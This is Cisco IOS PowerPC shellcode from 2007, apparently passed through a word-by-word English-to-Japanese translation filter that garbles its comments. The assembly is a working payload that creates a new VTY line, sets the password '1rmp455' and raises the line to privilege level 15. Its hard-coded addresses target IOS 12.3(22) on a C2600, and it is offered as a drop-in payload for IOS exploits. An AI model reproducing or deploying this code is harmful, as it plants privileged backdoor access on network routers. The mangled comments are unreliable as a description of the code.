このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Cisco IOS - 貯蔵所d shellcode v1.0
# ----------------------------------------------------------------------------------------
#
# Cisco IOS 貯蔵所d shellcode v1.0
# (c) 2007 IRM Plc
# By Varun Uppal
#
# ----------------------------------------------------------------------------------------
#
# The code creates a new VTY, 配分するs a password then 始める,決めるs the 特権 level to 15
#
# This shellcode can be used as the payload for any IOS 偉業/利用する on a PowerPC-based 装置.
# Once 組み立てる/集結するd, the payload is only 116 bytes in length 
#
# The に引き続いて four hard-coded 演説(する)/住所s must be 位置を示すd for the 的 IOS 見解/翻訳/版. 
# 見解/翻訳/版 1.1 of the shellcode will 自動車-位置を示す these values and make the code 
# IOS-見解/翻訳/版-独立した・無所属
#
# The hard-coded 演説(する)/住所s used here are for:
#
# IOS (tm) C2600 ソフトウェア (C2600-IK9S-M), 見解/翻訳/版 12.3(22), RELEASE SOFTWARE (fc2)
#
# ----------------------------------------------------------------------------------------
.equ makenewvty, 0x803d0d08
.equ malloc, 0x804785cc
.equ setpwonline, 0x803b9e90
.equ linesstruct, 0x82f9e334
# ----------------------------------------------------------------------------------------

.equ priv, 0xf1000000		#value used to 始める,決める the 特権 level

main:	li 3,71			#new vty line = 71
	lis 9,makenewvty@ha
	la 9,makenewvty@l(9)
	mtctr 9
	bctrl			#makenewvty()

	li 3,0x1e5c
	lis 9,malloc@ha
	la 9,malloc@l(9)
	mtctr 9
	bctrl			#malloc() memory for structure

	li 4,70		
	stw 4,0xa68(3)
	li 5,72		
	stw 5,0xa6c(3)
	li 4,0x00		
	bl setp			#pointer to the password into LR

.string "1rmp455"		#the password for the line

setp:	mflr 5
	lis 9,setpwonline@ha
      	la 9,setpwonline@l(9)
      	mtctr 9
      	bctrl			#setpwonline()

	lis 8,linesstruct@ha
      	la 8,linesstruct@l(8)
	lwz 9,0(8)
	lis 7,priv@ha
     	la 7,priv@l(7)
	stw 7,0xde4(9)		#始める,決める 特権 level to 15